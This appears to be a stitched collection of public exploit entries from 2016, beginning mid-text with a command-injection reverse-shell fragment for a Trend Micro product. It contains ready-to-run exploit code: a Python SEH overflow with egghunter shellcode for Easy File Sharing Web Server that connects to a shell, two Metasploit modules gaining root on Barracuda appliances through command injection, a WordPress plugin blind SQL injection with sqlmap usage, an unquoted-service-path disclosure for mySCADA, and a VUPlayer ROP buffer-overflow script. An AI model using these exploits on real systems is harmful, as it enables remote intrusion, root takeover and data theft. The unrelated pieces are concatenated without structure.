Once the file has been uploaded (it will be placed in /opt/TrendMicro/MinorityReport/www/cgi-bin), the attacker can chmod and then execute the file as a script, creating a reverse shell, running as root:
test.xml&chmod a+x shell
test.xml&.`echo $PATH | cut -c1`shell
#!/usr/bin/python
# Exploit Title: Easy File Sharing Web Server 7.2 SEH Overflow with Egghunter
# Date: July 29, 2016
# Exploit Author: ch3rn0byl
# Vendor Homepage: http://www.sharing-file.com/
# Software Link: http://www.sharing-file.com/download.php
# Version: 7.2
# Tested on: Windows 7, 8, 8.1, 10
# Admin privileges anyone?? hehe ;)
from socket import socket, AF_INET, SOCK_STREAM
from sys import argv
from struct import pack
from time import sleep
from subprocess import call
host = argv[1]
rekt = ""
rekt += "\x93\x93\x48\xf5\x93\x93\x90\xf9\x90\x37\x4a\x48\x90"
rekt += "\x99\x9b\x37\x98\x9f\xfc\xd6\xbd\x71\xab\x9a\xbc\xdb"
rekt += "\xd0\xd9\x74\x24\xf4\x5f\x29\xc9\xb1\x53\x31\x6f\x12"
rekt += "\x83\xef\xfc\x03\x1e\xa5\x78\x49\x1c\x51\xfe\xb2\xdc"
rekt += "\xa2\x9f\x3b\x39\x93\x9f\x58\x4a\x84\x2f\x2a\x1e\x29"
rekt += "\xdb\x7e\x8a\xba\xa9\x56\xbd\x0b\x07\x81\xf0\x8c\x34"
rekt += "\xf1\x93\x0e\x47\x26\x73\x2e\x88\x3b\x72\x77\xf5\xb6"
rekt += "\x26\x20\x71\x64\xd6\x45\xcf\xb5\x5d\x15\xc1\xbd\x82"
rekt += "\xee\xe0\xec\x15\x64\xbb\x2e\x94\xa9\xb7\x66\x8e\xae"
rekt += "\xf2\x31\x25\x04\x88\xc3\xef\x54\x71\x6f\xce\x58\x80"
rekt += "\x71\x17\x5e\x7b\x04\x61\x9c\x06\x1f\xb6\xde\xdc\xaa"
rekt += "\x2c\x78\x96\x0d\x88\x78\x7b\xcb\x5b\x76\x30\x9f\x03"
rekt += "\x9b\xc7\x4c\x38\xa7\x4c\x73\xee\x21\x16\x50\x2a\x69"
rekt += "\xcc\xf9\x6b\xd7\xa3\x06\x6b\xb8\x1c\xa3\xe0\x55\x48"
rekt += "\xde\xab\x31\xbd\xd3\x53\xc2\xa9\x64\x20\xf0\x76\xdf"
rekt += "\xae\xb8\xff\xf9\x29\xbe\xd5\xbe\xa5\x41\xd6\xbe\xec"
rekt += "\x85\x82\xee\x86\x2c\xab\x64\x56\xd0\x7e\x10\x5e\x77"
rekt += "\xd1\x07\xa3\xc7\x81\x87\x0b\xa0\xcb\x07\x74\xd0\xf3"
rekt += "\xcd\x1d\x79\x0e\xee\xf5\x4b\x87\x08\x9f\xbb\xc1\x83"
rekt += "\x37\x7e\x36\x1c\xa0\x81\x1c\x34\x46\xc9\x76\x83\x69"
rekt += "\xca\x5c\xa3\xfd\x41\xb3\x77\x1c\x56\x9e\xdf\x49\xc1"
rekt += "\x54\x8e\x38\x73\x68\x9b\xaa\x10\xfb\x40\x2a\x5e\xe0"
rekt += "\xde\x7d\x37\xd6\x16\xeb\xa5\x41\x81\x09\x34\x17\xea"
rekt += "\x89\xe3\xe4\xf5\x10\x61\x50\xd2\x02\xbf\x59\x5e\x76"
rekt += "\x6f\x0c\x08\x20\xc9\xe6\xfa\x9a\x83\x55\x55\x4a\x55"
rekt += "\x96\x66\x0c\x5a\xf3\x10\xf0\xeb\xaa\x64\x0f\xc3\x3a"
rekt += "\x61\x68\x39\xdb\x8e\xa3\xf9\xeb\xc4\xe9\xa8\x63\x81"
rekt += "\x78\xe9\xe9\x32\x57\x2e\x14\xb1\x5d\xcf\xe3\xa9\x14"
rekt += "\xca\xa8\x6d\xc5\xa6\xa1\x1b\xe9\x15\xc1\x09"
# Our tag is hive: \x68\x69\x76\x65
egghunter = ''
egghunter += '\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c'
egghunter += '\x05\x5a\x74\xef\xb8\x68\x69\x76\x65\x8b\xfa\xaf\x75'
egghunter += '\xea\xaf\x75\xe7\xff\xe7'
crash = "A" * 4061
crash += pack('<L', 0x909006eb)
crash += pack('<L', 0x10019ce3)
crash += egghunter
crash += "D" * (5500 - 4061 - 8 - len(egghunter))
payload = 'GET {} HTTP/1.0\r\n\r\n'.format(crash)
payload += 'hivehive'
payload += rekt
payload += 'E' * (800 - len(rekt))
print '[+] Trying to exploit {}...'.format(host)
try:
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, 80))
print '[+] Sending payload...'
s.send(payload)
s.close()
print '[+] Trying to connect to target...\n'
try:
sleep(2)
call(['ncat', host, '54321'])
except:
print '[!] Whoops!! Something went wrong?'
except:
print '[!] Whoops!! Something went wrong?'
finally:
print '\n[+] I <3 SHELLS'
# Exploit Title: Barracuda Web Application Firewall <= v8.0.1.008 Post Auth Remote Root Exploit
# Date: 07/28/16
# Exploit Author: xort xort@blacksecurity.org
# Vendor Homepage: https://www.barracuda.com/
# Software Link: https://www.barracuda.com/products/webapplicationfirewall
# Version: Web App Firewall Firmware <= 8.0.1.008 (2016-03-22)
# Tested on: Web App Firewall Firmware <= v8.0.1.008 (2016-03-22)
# CVE : None.
# vuln: interface_stats
require 'msf/core'
require 'date'
require "base64"
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Barracuda Web Application Firewall <= v8.0.1.008 Post Auth Root Exploit',
'Description' => %q{
This module exploits a remote command execution vulnerability in the Barracuda Web
Application Firweall firmware versions <= v8.0.1.008 (2016-03-22) by exploiting a
vulnerability in the web administration interface. By sending a specially crafted
request it's possible to inject system commands while escalating to root do to relaxed
sudo configuration on the local machine.
},
'Author' => [ 'xort' ], # disclosure and exploit module
'References' => [ [ 'none', 'none'] ],
'Platform' => [ 'linux'],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
'Targets' => [['Web Application Firewall <= v8.0.1.008 (2016-03-22)', {}]],
'DefaultTarget' => 0 ))
register_options(
[
OptString.new('PASSWORD', [ false, 'Password', "admin" ]),
OptString.new('USERNAME', [ true, 'Admin Username', "admin" ]),
OptString.new('CMD', [ false, 'Command to execute', "" ]),
Opt::RPORT(8000),
], self.class)
end
def do_login(username, password_clear, et)
vprint_status( "Logging into machine with credentials...\n" )
# vars
timeout = 1550;
enc_key = Rex::Text.rand_text_hex(32)
# send request
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/cgi-mod/index.cgi",
'headers' =>
{
'Accept' => "application/json, text/javascript, */*; q=0.01",
'Content-Type' => "application/x-www-form-urlencoded",
'X-Requested-With' => "XMLHttpRequest"
},
'vars_post' =>
{
'enc_key' => enc_key,
'et' => et,
'user' => "admin", # username,
'password' => "admin", # password_clear,
'enctype' => "none",
'password_entry' => "",
'login_page' => "1",
'login_state' => "out",
'real_user' => "",
'locale' => "en_US",
'form' => "f",
'Submit' => "Sign in",
}
}, timeout)
# get rid of first yank
password = res.body.split('\n').grep(/(.*)password=([^&]+)&/){$2}[0] #change to match below for more exact result
et = res.body.split('\n').grep(/(.*)et=([^&]+)&/){$2}[0]
return password, et
end
def run_command(username, password, et, cmd)
# file to replace
sudo_cmd_exec = "/home/product/code/firmware/current/bin/config_agent_wrapper.pl"
sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}"
sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c "
vprint_status( "Running Command...\n" )
# random filename to dump too + 'tmp' HAS to be here.
b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))
# decoder stubs - tells 'base64' command to decode and dump data to temp file
b64decode1 = "echo \""
b64decode2 = "\" | base64 -d >" + b64dumpfile
# base64 - encode with base64 so we can send special chars and multiple lines
cmd = Base64.strict_encode64(cmd)
# Create injection string.
# a) package the base64 decoder with encoded bytes
# b) attach a chmod +x request to make the script created (b64dumpfile) executable
# c) execute decoded base64 dumpfile
injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile + " ; rm " + b64dumpfile
# injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile
vprint_status( "sending..." )
res = send_request_cgi({
'method' => 'GET',
'uri' => "/cgi-mod/index.cgi",
'headers' =>
{
'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
},
'vars_get' => {
'ajax_action' => 'interface_stats',
'user' => username,
'password' => password,
'et' => et,
'locale' => 'en_US',
'realm' => '',
'auth_type' => 'Local',
'primary_tab' => 'BASIC',
'secondary_type' => 'status',
'interface' => 'eth0' + '| ' + injection_string + ' |echo ' # vuln
}
})
end
def exploit
# params
timeout = 1550;
real_user = "";
et = Time.now.to_i
user = datastore['USERNAME']
password = datastore['PASSWORD']
# do login and get password hash
password_hash, et = do_login(user, password, et)
vprint_status("got password hash: #{password_hash}\n")
sleep(2)
#if no 'CMD' string - add code for root shell
if not datastore['CMD'].nil? and not datastore['CMD'].empty?
cmd = datastore['CMD']
# Encode cmd payload
encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
# kill stale calls to bdump from previous exploit calls for re-use
run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
else
# Encode payload to ELF file for deployment
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
# kill stale calls to bdump from previous exploit calls for re-use
run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/m ;printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))
handler
end
end
end
# Exploit Title: Barracuda Web App Firewall/Load Balancer Post Auth Remote Root Exploit (3)
# Date: 07/28/16
# Exploit Author: xort xort@blacksecurity.org
# Vendor Homepage: https://www.barracuda.com/
# Software Link: https://www.barracuda.com/products/loadbalance & https://www.barracuda.com/products/webapplicationfirewall
# Version: Load Balancer Firmware <= v5.4.0.004 (2015-11-26) & Web App Firewall Firmware <= 8.0.1.008 (2016-03-22)
# Tested on: Load Balancer Firmware <= v5.4.0.004 (2015-11-26) & Web App Firewall Firmware <= v8.0.1.008 (2016-03-22)
# CVE : None.
# vuln: UPDATE_va_other_options trigger exploit
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Barracuda Web App Firewall/Load Balancer Post Auth Remote Root Exploit (3)',
'Description' => %q{
This module exploits a remote command execution vulnerability in the Barracuda Web App Firewall
Firmware Version <= 8.0.1.008 and Load Balancer Firmware <= v5.4.0.004 by exploiting a vulnerability
in the web administration interface. By sending a specially crafted request it's possible to inject
system commands while escalating to root do to relaxed sudo configurations on the applianaces.
},
'Author' =>
[
'xort', # vuln + metasploit module
],
'Version' => '$Revision: 2 $',
'References' =>
[
[ 'none', 'none'],
],
'Platform' => [ 'linux'],
'Privileged' => true,
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell' ],
'Privileged' => false,
'Payload' =>
{
'Compat' =>
{
'ConnectionType' => 'find',
}
},
'Targets' =>
[
['Barracuda Web App Firewall Firmware Version <= 8.0.1.008 (2016-03-22)',
{
'Arch' => ARCH_X86,
'Platform' => 'linux',
'SudoCmdExec' => "/home/product/code/firmware/current/bin/config_agent_wrapper.pl"
}
],
['Barracuda Load Balancer Firmware <= v5.4.0.004 (2015-11-26)',
{
'Arch' => ARCH_X86,
'Platform' => 'linux',
'SudoCmdExec' => "/home/product/code/firmware/current/bin/rdpd"
}
],
],
'DefaultTarget' => 0))
register_options(
[
OptString.new('PASSWORD', [ false, 'Device password', "" ]),
OptString.new('ET', [ false, 'Device password', "" ]),
OptString.new('USERNAME', [ true, 'Device password', "admin" ]),
OptString.new('CMD', [ false, 'Command to execute', "" ]),
Opt::RPORT(8000),
], self.class)
end
def do_login(username, password_clear, et)
vprint_status( "Logging into machine with credentials...\n" )
# vars
timeout = 1550;
enc_key = Rex::Text.rand_text_hex(32)
# send request
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/cgi-mod/index.cgi",
'headers' =>
{
'Accept' => "application/json, text/javascript, */*; q=0.01",
'Content-Type' => "application/x-www-form-urlencoded",
'X-Requested-With' => "XMLHttpRequest"
},
'vars_post' =>
{
'enc_key' => enc_key,
'et' => et,
'user' => "admin", # username,
'password' => "admin", # password_clear,
'enctype' => "none",
'password_entry' => "",
'login_page' => "1",
'login_state' => "out",
'real_user' => "",
'locale' => "en_US",
'form' => "f",
'Submit' => "Sign in",
}
}, timeout)
# get rid of first yank
password = res.body.split('\n').grep(/(.*)password=([^&]+)&/){$2}[0] #change to match below for more exact result
et = res.body.split('\n').grep(/(.*)et=([^&]+)&/){$2}[0]
return password, et
end
def run_command(username, password, et, cmd)
vprint_status( "Running Command...\n" )
# file to replace
sudo_cmd_exec = target['SudoCmdExec']
#sudo_cmd_exec = "/home/product/code/firmware/current/bin/config_agent_wrapper.pl"
#sudo_cmd_exec = "/home/product/code/firmware/current/bin/rdpd"
sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}"
sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c "
# random filename to dump too + 'tmp' HAS to be here.
b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))
vprint_status(" file = " + b64dumpfile)
# decoder stubs - tells 'base64' command to decode and dump data to temp file
b64decode1 = "echo \""
b64decode2 = "\" | base64 -d >" + b64dumpfile
# base64 - encode with base64 so we can send special chars and multiple lines
cmd = Base64.strict_encode64(cmd)
# Create injection string.
# a) package the base64 decoder with encoded bytes
# b) attach a chmod +x request to make the script created (b64dumpfile) executable
# c) execute decoded base64 dumpfile
injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile # + " ; rm " + b64dumpfile
exploitreq = [
[ "auth_type","Local" ],
[ "et",et ],
[ "locale","en_US" ],
[ "password", password ],
[ "primary_tab", "ADVANCE" ],
[ "realm","" ],
[ "secondary_tab","advanced_system" ],
[ "user", username ],
[ "timestamp", Time.now.to_i ],
[ "UPDATE_va_other_options", "1" ],
[ "UPDATE_scan_information_in_use", "xx; #{injection_string}" ] # vuln
]
boundary = "---------------------------" + Rex::Text.rand_text_numeric(34)
post_data = ""
exploitreq.each do |xreq|
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"
post_data << "#{xreq[1]}\r\n"
end
post_data << "--#{boundary}--\r\n"
res = send_request_cgi({
'method' => 'POST',
'uri' => "/cgi-mod/index.cgi",
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data,
'headers' =>
{
'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
}
})
end
def run_script(username, password, et, cmds)
vprint_status( "running script...\n")
end
def exploit
# timeout
timeout = 1550;
user = "admin"
# params
real_user = "";
login_state = "out"
et = Time.now.to_i
locale = "en_US"
user = "admin"
password = "admin"
enctype = "MD5"
password_entry = ""
password_clear = "admin"
if not datastore['PASSWORD'].nil? and not datastore['PASSWORD'].empty?
password_clear = datastore['PASSWORD']
password = datastore['PASSWORD']
# et = datastore['ET']
end
password_hash, et = do_login(user, password_clear, et)
vprint_status("new password: #{password_hash} et: #{et}\n")
sleep(5)
#if no 'CMD' string - add code for root shell
if not datastore['CMD'].nil? and not datastore['CMD'].empty?
cmd = datastore['CMD']
# Encode cmd payload
encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
# kill stale calls to bdump from previous exploit calls for re-use
run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
else
# Encode payload to ELF file for deployment
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
run_command(user, password_hash, et, ("printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))
handler
end
end
end
# Exploit Title: Wordpress Ultimate-Product-Catalog <= 3.9.8 (do_shortcode via ajax) Unsanitized shortcode attributes - Unauthenticated Blind SQL Injection
# Date: 2016-07-28
# Google Dork: "Index of /wp-content/plugins/ultimate-product-catalogue/"
# Exploit Author: Joaquin Ramirez Martinez [ i0 SEC-LABORATORY ]
# Vendor Homepage: http://www.EtoileWebDesign.com/
# plugin uri: http://www.EtoileWebDesign.com/ultimate-product-catalogue/
# Software Link:
# Version: <=3.9.8
# Tested on: windows 7 + firefox.
====================
DESCRIPTION
====================
A vulnerability has been discvered in the wordpress Ultimate Product Catalog by affecting v3.9.8 and below (tested).
Due to a unsanitized parameters passed to the shorcode function `Insert_Product_Catalog` [ "product-catalogue" ]
located in `/Funtions/Shortcodes.php` line 4:
function Insert_Product_Catalog($atts) {
// Select the catalogue information from the database
...
$Catalogue = $wpdb->get_row("SELECT * FROM $catalogues_table_name WHERE Catalogue_ID=" . $id);
$CatalogueItems = $wpdb->get_results("SELECT * FROM $catalogue_items_table_name WHERE Catalogue_ID=" . $id . " ORDER BY Position");
...
return $ProductString;
}
The $id parameter is extracted with `extract` function from $atts. This is a vulnerability with which can be exploited by creating shortcodes with
malicious attributes, exploitable only by administrators, editors, authors. But in file `/Functions/Process_Ajax.php` line 113...
function UPCP_Filter_Catalogue() {
$Path = ABSPATH . 'wp-load.php';
include_once($Path);
$id = $_POST['id']; <-- we can control this value!!
...
echo do_shortcode("[product-catalogue id='" . $id . "' only_inner='Yes' starting_layout='" . $start_layout . "' excluded_layouts='" . $exclude_layouts . "' current_page='" . $current_page . "' ajax_reload='" . $ajax_reload . "' ajax_url='" . $ajax_url . "' request_count='" . $request_count . "' category='" . $Category . "' subcategory='" . $SubCategory . "' tags='" . $Tags . "' custom_fields='" . $Custom_Fields . "' prod_name='" . $Prod_Name . "' min_price='" . $Min_Price . "' max_price='" . $Max_Price . "']");
}
This is interesting because that function calls `do_shortcode` executing the shortcode 'product-catalogue' as a result, this calls `Insert_Product_Catalog` wich
I found the SQLi, now we need to found a place where ` UPCP_Filter_Catalogue` is called and in line 138-139 i found...
...
add_action('wp_ajax_update_catalogue', 'UPCP_Filter_Catalogue');
add_action( 'wp_ajax_nopriv_update_catalogue', 'UPCP_Filter_Catalogue');
...
this means that we can execute that function only with a request to `/wp-admin/admin-ajax.php?action=update_catalogue` and send the vulnerable $id parameter
with our custom payload. Note that `wp_ajax_nopriv` prefix makes this vulnerability exploitable by unauthenticated users.
Example:
http://<wp-host>/<wp-path>/wp-admin/admin-ajax.php?action=update_catalogue
POSTDATA: id=0+or+(our+custom+select+here)+--
An attacker can exploit this vulnerability and compromise all user records or take over control of the host machine.
==============
POC
==============
-----------------
//REQUEST
------------------
POST /wordpress/wp-admin/admin-ajax.php?action=update_catalogue HTTP/1.1
Host: localhost
Content-Length: 21
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.8
Cookie:
id=1+OR+SLEEP(10)+--+
--------------------------
EXPLOITING WITH SQLMAP
------------------------
sqlmap --url="http://<wp-host>/<wp-path>/wp-admin/admin-ajax.php?action=update_catalogue" --data="id=1" --level=5 --risk=3 --technique=B -p id --dbs --dbms=mysql
(listing all available databases)
==================================
time-line
===================================
2016-07-28: reported to vendor.
2016-07-28: vendor released plugin version 3.9.9. saying in changelog "Minor ajax update to switch to a prepared statement".
2016-07-29: public disclousure.
===================================
mySCADAProv7 Local Privilege Escalation
Vendor: mySCADA Technologies s.r.o.
Product web page: https://www.myscada.org/
Affected application: myscadaPro
Affected version: v7 (Current version)
Vulnerability discovered by: Karn Ganeshen
Description:
myscadaPro7 application installs seven (8) services. All these services run as LocalSystem by default, and suffer from an unquoted search path issue. This could potentially allow an authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system.
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges of the application.
Tested on:
Microsoft Windows Vista Ultimate SP2 (EN)
Details
The following services have insecurely quoted paths:
1. Bonjour Service (Bonjour Service) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mDNSResponder.exe:
2. myalerting (myalerting) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mySCADAservice.exe "\"C:\Program Files\mySCADA\bin\myalerting.exe\" -c \"C:\ProgramData\mySCADA\myscada.conf\" -m \"C:\ProgramData\mySCADA\msmtp.conf\" -s \"C:\ProgramData\mySCADA\sms.conf\" ":
3. myscadacom (myscadacom) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mySCADAservice.exe "\"C:\Program Files\mySCADA\bin\myscadacom.exe\" -c \"C:\ProgramData\mySCADA\myscada.conf\" ":
4. myscadadb (myscadadb) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mySCADAservice.exe "\"C:\Program Files\mySCADA\bin\myscadadb.exe\" -c \"C:\ProgramData\mySCADA\myscada.conf\" ":
5. myscadagate (myscadagate) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mySCADAservice.exe "\"C:\Program Files\mySCADA\bin\myscadagate.exe\" -f \"C:\ProgramData\mySCADA\myscada.conf\" ":
6. myscadahmi (myscadahmi) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mySCADAservice.exe "\"C:\Program Files\mySCADA\bin\myscadahmi.exe\" -p \"C:\Program Files\mySCADA\" -c \"conf\hmi.conf\" ":
7. myscadalog (myscadalog) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mySCADAservice.exe "\"C:\Program Files\mySCADA\bin\myscadalog.exe\" -c \"C:\ProgramData\mySCADA\myscada.conf\" ":
8. myscadascr (myscadascr) runs as LocalSystem and has path: C:\Program Files\mySCADA\bin\mySCADAservice.exe "\"C:\Program Files\mySCADA\bin\node.exe\" \"C:\Program Files\mySCADA\bin\scripts\scripts.js\" -c \"C:\ProgramData\mySCADA\myscada.conf\" -a 1 ":
#!/usr/bin/python
import os,sys
#Tested Windows 7 Home x86 & Windows 10 Home x86_x64
#badchars \x00\x0a\x1a\x20\x40
#msfvenom -a x86 --platform windows -p windows/exec CMD=calc.exe -b "\x00\x0a\x1a\x20\x40" -f python
buf = ""
buf += "\xbf\x3b\x99\xdd\xa3\xdb\xc4\xd9\x74\x24\xf4\x58\x29"
buf += "\xc9\xb1\x33\x31\x78\x12\x03\x78\x12\x83\xfb\x9d\x3f"
buf += "\x56\x07\x75\x36\x99\xf7\x86\x29\x13\x12\xb7\x7b\x47"
buf += "\x57\xea\x4b\x03\x35\x07\x27\x41\xad\x9c\x45\x4e\xc2"
buf += "\x15\xe3\xa8\xed\xa6\xc5\x74\xa1\x65\x47\x09\xbb\xb9"
buf += "\xa7\x30\x74\xcc\xa6\x75\x68\x3f\xfa\x2e\xe7\x92\xeb"
buf += "\x5b\xb5\x2e\x0d\x8c\xb2\x0f\x75\xa9\x04\xfb\xcf\xb0"
buf += "\x54\x54\x5b\xfa\x4c\xde\x03\xdb\x6d\x33\x50\x27\x24"
buf += "\x38\xa3\xd3\xb7\xe8\xfd\x1c\x86\xd4\x52\x23\x27\xd9"
buf += "\xab\x63\x8f\x02\xde\x9f\xec\xbf\xd9\x5b\x8f\x1b\x6f"
buf += "\x7e\x37\xef\xd7\x5a\xc6\x3c\x81\x29\xc4\x89\xc5\x76"
buf += "\xc8\x0c\x09\x0d\xf4\x85\xac\xc2\x7d\xdd\x8a\xc6\x26"
buf += "\x85\xb3\x5f\x82\x68\xcb\x80\x6a\xd4\x69\xca\x98\x01"
buf += "\x0b\x91\xf6\xd4\x99\xaf\xbf\xd7\xa1\xaf\xef\xbf\x90"
buf += "\x24\x60\xc7\x2c\xef\xc5\x37\x67\xb2\x6f\xd0\x2e\x26"
buf += "\x32\xbd\xd0\x9c\x70\xb8\x52\x15\x08\x3f\x4a\x5c\x0d"
buf += "\x7b\xcc\x8c\x7f\x14\xb9\xb2\x2c\x15\xe8\xd0\xb3\x85"
buf += "\x70\x39\x56\x2e\x12\x45"
rop = "\xe7\x5f\x01\x10" #POP EAX # RETN [BASS.dll]
rop += "\x5c\xe2\x60\x10" #ptr to &VirtualProtect() [IAT BASSMIDI.dll]
rop += "\xf1\xea\x01\x10" #MOV EAX,DWORD PTR DS:[EAX] # RTN [BASS.dll]
rop += "\x50\x09\x03\x10" #XCHG EAX,ESI # RETN [BASS.dll]
rop += "\x0c\x80\x60\x10" #POP EBP # RETN 0x0C [BASSMIDI.dll]
rop += "\x9f\x53\x10\x10" #& jmp esp BASSWMA.dll
rop += "\xe7\x5f\x01\x10" #POP EAX # RETN [BASS.dll]
rop += "\x90"*12
rop += "\xff\xfd\xff\xff" #201 in negative
rop += "\xb4\x4d\x01\x10" #NEG EAX # RETN [BASS.dll]
rop += "\x72\x2f\x03\x10" #XCHG EAX,EBX # RETN [BASS.dll]
rop += "\xe7\x5f\x01\x10" #POP EAX # RETN [BASS.dll]
rop += "\xc0\xff\xff\xff" #40 in negative
rop += "\xb4\x4d\x01\x10" #NEG EAX # RETN [BASS.dll]
rop += "\x6c\x8a\x03\x10" #XCHG EAX,EDX # RETN [BASS.dll]
rop += "\x07\x10\x10\x10" #POP ECX # RETN [BASSWMA.dll]
rop += "\x93\x83\x10\x10" #&Writable location [BASSWMA.dll]
rop += "\x04\xdc\x01\x10" #POP EDI # RETN [BASS.dll]
rop += "\x84\xa0\x03\x10" #RETN [BASS.dll]
rop += "\xe7\x5f\x01\x10" #POP EAX # RETN [BASS.dll]
rop += "\x90"*4
rop += "\xa5\xd7\x01\x10" #PUSHAD # RETN [BASS.dll]
exploit = "\x41"*1012 + rop + "\x90"*8 + buf
print "len + " + str(len(rop))
file = open('/root/Desktop/exploit_development/VUPlayer/boom.pls','w')
file.write(exploit)
file.close()